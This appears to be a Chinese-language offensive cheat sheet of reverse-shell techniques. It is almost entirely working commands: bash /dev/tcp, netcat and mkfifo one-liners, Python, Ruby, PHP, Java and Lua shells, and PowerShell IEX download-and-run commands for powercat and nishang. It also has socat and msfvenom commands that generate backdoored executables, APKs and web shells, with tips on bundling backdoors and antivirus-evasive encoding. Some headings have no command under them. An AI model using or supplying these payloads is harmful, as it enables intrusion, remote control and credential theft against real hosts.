1.常规反弹shell:
攻击机:
2.解释:
/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
其他版本:
exec 5<>/
-
第一条命令 建立与x.x.x.x:9999的tcp连接,并将标准输入输出作为device 5的标准输入输出
-
第二条cat <&5 获取device5的输入;
while read line; do $line 2>&5 >&5
一旦获取到命令便运行 然后将标准输入输出以及标准错误输出到device5中
0x01 nc(netcat)反弹
1.第一种:
攻击机:
2.第二种:
nc x.x.x.x 1234|/bin/bash|nc x.x.x.x 4321 //在攻击主机上打开两个终端,分别监听 1234 和 4321 端口,得到反弹shell后,1234 终端 输入命令, 4321 终端就会获得执行相应命令后的结果
3.第三种:
由于现在很多主机上可能没有netcat了,所以如果遇到虽然有netcat 但不支持 nc -e /bin/bash 攻击主机ip port
中 -e
选项的主机,还可以这样反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
-
rm /tmp/f
删除命令 -
mkfifo /tmp/f;
在tmp目录下写fifo文件f -
/bin/sh -i 2>&1
将/bin/sh 的标准错误重定向到标准输出 -
nc x.x.x.x 2333 >/tmp/f
将nc监听到的输入 输入到fifo
0x02 telnet反弹
-
在攻击主机上打开两个终端分别监听 1234 和 4321端口,(确保端口开放,并且不被占用),得到反弹shell后,1234 终端 输入命令, 4321 终端就会获得执行相应命令后的结果:
-
在目标主机上执行:
0x03常见脚本反弹
以上脚本是在目标主机上执行,其中 x.x.x.x 均为攻击主机ip,并且需要提前在攻击主机上进行监听相关端口,接下来就不再赘述
1. python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
2. perl
方法一:
方法二:
3. Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
4. PHP
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
5. Java
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
6. Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
7. AWK 反弹
攻击的机器监听,在收到shell的时候不可以输入enter,不然会断开
0x04 Mshta 反弹 shell
powershell反弹shell
0x05 powercat反弹shell
powercat(https://github.com/besimorhino/powercat)为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat。
受害机:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd
或者:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999
攻击机:
Nc –lvnp 9999
0x06 nishang反弹shell
操作系统 | PowerShell版本 | 是否可升级 |
---|---|---|
Window7/Windows server 2008 | 2.0 | 可以升级3.0、4.0 |
Window 8/ Windows server 2012 | 3.0 | 可升级4.0 |
Window 8.1/ Windows server 2012 R2 | 4.0 | 升级5.0 5.1 |
https://github.com/samratashok/nishang/
tips:
-
Nishang要在PowerShell3.0以上的环境下才可以正常使用,在window 7或者server2008上可能会出现一些异常。
-
输入Get-Host或者$PSVersionTable.PSVERSION来查看版本信息。
导入Nishang模块
Import-Module .\nishang.psm1
导入成功后,产看Nishang中模块
Get-Command –Module nishang
Nishang攻击模块有(部分):
-
Check-VM:检测目标机器是否为虚拟机
-
Invoke-CredentialsPhish:欺骗目标主机用户,用作钓鱼
-
Copy-VSS:利用Volume Shaodow Copy复制sam文件
-
FireBuster FireLiStener:用作内网环境扫描
-
Keylogger:用作键盘记录
-
Invoke-Mimikatz:类似Mimikatz,直接获取系统账号明文密码
-
Get-PassHashes:获取系统密码hash值
1. 基于TCP的Powershell交互式shell
受害机:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999
其中,Invoke-PowerShellTcp是基于TCP协议的Powershell正向连接或者反向连接shell,其参数如下:
- IPAddress 反向连接时设置的IP
- Port 正向连接时设置的端口,前面要写上-Bind参数
- Reverse 反向连接
- Bind 正向连接
反向连接: Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999
正向连接: Invoke-PowerShellTcp -Bind -Port 4444
2. 基于UDP的Powershell交互式shell
受害机:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.4 -port 5399
攻击机:
反向连接: nc -lup 6005
正向连接: nc -nvu 192.168.1.24 4555
3. 基于ICMP的Powershell交互式Shell
受害机:
Invoke-PowerShellIcmp -IPAddress <source IP address>
攻击机:
python icmpsh-m.py <source IP address> <destination IP address>
4. 基于HTTP/HTTPS的Powershell交互式Shell
HTTP: Invoke-PoshRatHttp –IPAddess 192.168.1.4 –Port 4444
HTTPS: Invoke-PoshRatHttps –IPAddess 192.168.1.4 –Port 4444
然后会生成一个powershell如下的命令····IEX ((New-Object Net.WebClient).DownloadString(‘http://192.168.1.4:4444/connect’))
然后复制该命令在被攻击机器上执行即可,便可看到反弹的shell
0x07 socat反弹shell
socat,一个多功能的网络工具,名字来源于SOcket CAT,是netcat的增强版,也就是netcat++(扩展了设计,并有新的实现)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234
0x08 msf生成payload反弹shell
常用命令:
1. –p (- -payload-options)
添加载荷payload。
根据对应的载荷payload生成对应平台下的后门。
(- -payload-options 列出payload选项)
2. –l
查看所有payload encoder nops。
3. –f (- -help-formats)
(- -help-formats 列出所有文件格式)
Executable formats:
asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats:
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
4. –e
编码免杀。
5. –a (- -platform – -help-platforms)
选择架构平台
x86 | x64 | x86_64
Platforms:
windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
6. –o
文件输出。
7. –s
生成payload的最大长度,就是文件大小。
8. –b
避免使用的字符 例如:不使用 ‘\0f’。
9. –i
编码次数。
10. –c
添加自己的shellcode。
11. –x | -k
捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
1、创建监听:
(根据后门使用的payload选择监听时对应payload,默认使用generic/shell_reverse_tcp):
2、生成windows exe 后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f exe > shell.exe //自行选择平台架构

3、生成linux后门:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f elf > mshell.elf

4、生成java后门:
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.10.12.191 LPORT=4444 w > 123.jar

5、生成asp后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f asp > shell.asp

6、生成jsp后门:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f raw > shell.jsp

7、生成php后门:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.193 LPORT=4444 -o 1234.php

8、生成android后门:
msfvenom -p android/meterpreter_reverse_tcp LHOST=10.10.12.191 LPORT=4444 R > 11.apk

9、生成war后门:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f war > shell.war

10、生成mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
11、生成 linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
12、生成 windows shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c